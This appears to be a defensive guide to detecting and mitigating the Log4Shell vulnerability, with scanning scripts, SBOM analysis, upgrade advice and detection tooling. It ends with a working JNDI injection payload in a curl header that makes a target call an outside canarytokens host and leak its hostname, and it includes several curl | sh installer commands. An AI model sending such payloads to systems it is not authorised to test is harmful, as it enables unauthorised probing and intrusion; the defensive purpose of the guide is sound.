How to find log4j usage and detect/prevent exploit attempts

How log4shell exploit works

Find log4j usage in the system

Identify potentially vulnerable JAR files using Jfrog's log4j-tools

TMP=$(mktemp -d)
cd "$TMP"
  
wget https://raw.githubusercontent.com/jfrog/log4j-tools/main/scan_jndimanager_versions.py
chmod +x scan_jndimanager_versions.py
  
python3 scan_jndimanager_versions.py /
  
cd
rm -rf "$TMP"

Identify potentially vulnerable JAR files using local-log4j-vuln-scanner

TMP=$(mktemp -d)
cd "$TMP"
wget https://github.com/hillu/local-log4j-vuln-scanner/releases/download/v0.8.1/local-log4j-vuln-scanner
chmod +x local-log4j-vuln-scanner
  
find / -mount -type f \( -iname *.jar -o -iname *.war \) | awk -F/ '{print FS $2 FS $3}' | sort -u > dirs.log
  
for dir in $(cat dirs.log); do
  printf "### Scanning $dir ###\n"
  ./local-log4j-vuln-scanner $dir
done
 
cd
rm -rf "$TMP"

Create a Software Bill of Materials (SBOM) and perform Known Vulnerability Analysis on all dependencies

Scan all JAR, WAR and container images using syft to generate a SBOM in CycloneDX format for each package.

curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin

TMP=$(mktemp -d)
cd "$TMP"
 
while read p; do NAME=$(basename "$p"); syft file:"$p" -o cyclonedx > $(hostname)__"$NAME".xml; done < <(find / -mount -type f \( -iname *.jar -o -iname *.war \))

Download the SBOM files for Vulnerability Analysis.

Create an OWASP DependencyTrack container for analysis.

# Downloads the latest Docker Compose file
curl -LO https://dependencytrack.org/docker-compose.yml
 
# Starts the stack using Docker Compose
docker-compose up -d

Import the cyclonedx SBOM for Known Vulnerability Analysis.

for file in *.xml; do
  curl -X "POST" "http://localhost:8081/api/v1/bom" -H 'Content-Type: multipart/form-data' -H "X-Api-Key: <API_KEY>" -F "autoCreate=true" -F "projectName=$file" -F "projectVersion=1" -F "bom=@$file"
done

Login to the DependencyTrack container and check for vulnerabilities.

http://localhost:8080

Username: admin
Password: admin

Locally scan for known vulnerabilities in JAR, WAR and container images using grype

curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
grype db update
  
find / -mount -type f \( -iname *.jar -o -iname *.war \) -exec grype {} \;
  
rm $(which grype)

Identify if any running Java processes are using log4j

Prerequisites : requires JDK to be installed

Linux

jps | grep -v " Jps$" | cut -f1 -d " " | xargs -I '{}' jcmd '{}' VM.class_hierarchy | grep logging.log4j

Windows

jps | select-string -notmatch "jps$" | foreach {jcmd $_.Line.split()[0] VM.class_hierarchy} | select-string "log4j"

Prevent log4shell exploit attempts

Prevent log4j from parsing lookups in logs

For locally installed log4j, disable the lookup functionality by “log4j2.formatMsgNoLookups” property set to “true” in the configuration file.

Ensure applications are launched with JVM arguments to disable Log4J lookup functionality.

These reportedly did not work. The current mitigation advice is as follows:

Log4j 1.x

Log4j 1.x does not have Lookups so the risk is lower. Applications using Log4j 1.x are only vulnerable to this attack when they use JNDI in their configuration. A separate CVE (CVE-2021-4104) has been filed for this vulnerability. To mitigate: audit your logging configuration to ensure it has no JMSAppender configured. Log4j 1.x configurations without JMSAppender are not impacted by this vulnerability.

Log4j 2.x mitigation

Implement one of the mitigation techniques below.

Java 8 (or later) users should upgrade to release 2.16.0.
Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Detect log4shell malicious attempts in logs

I have created an Ansible Playbook that will download and run the log4shell-detector python script : https://github.com/kaipee/log4shell-detector-playbook

Detect system vulnerability

Vulnerable systems can be identified by safely exploiting the vulnerability to trigger a notification using CanaryTokens.org.

Trigger the exploit by sending a modified User Agent (web browser or curl).

# Replace <RANDOM_STRING> with your token from canarytokens.org

curl <VULNERABLE_HOST>:<PORT> -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.<RANDOM_STRING>.canarytokens.com/a}'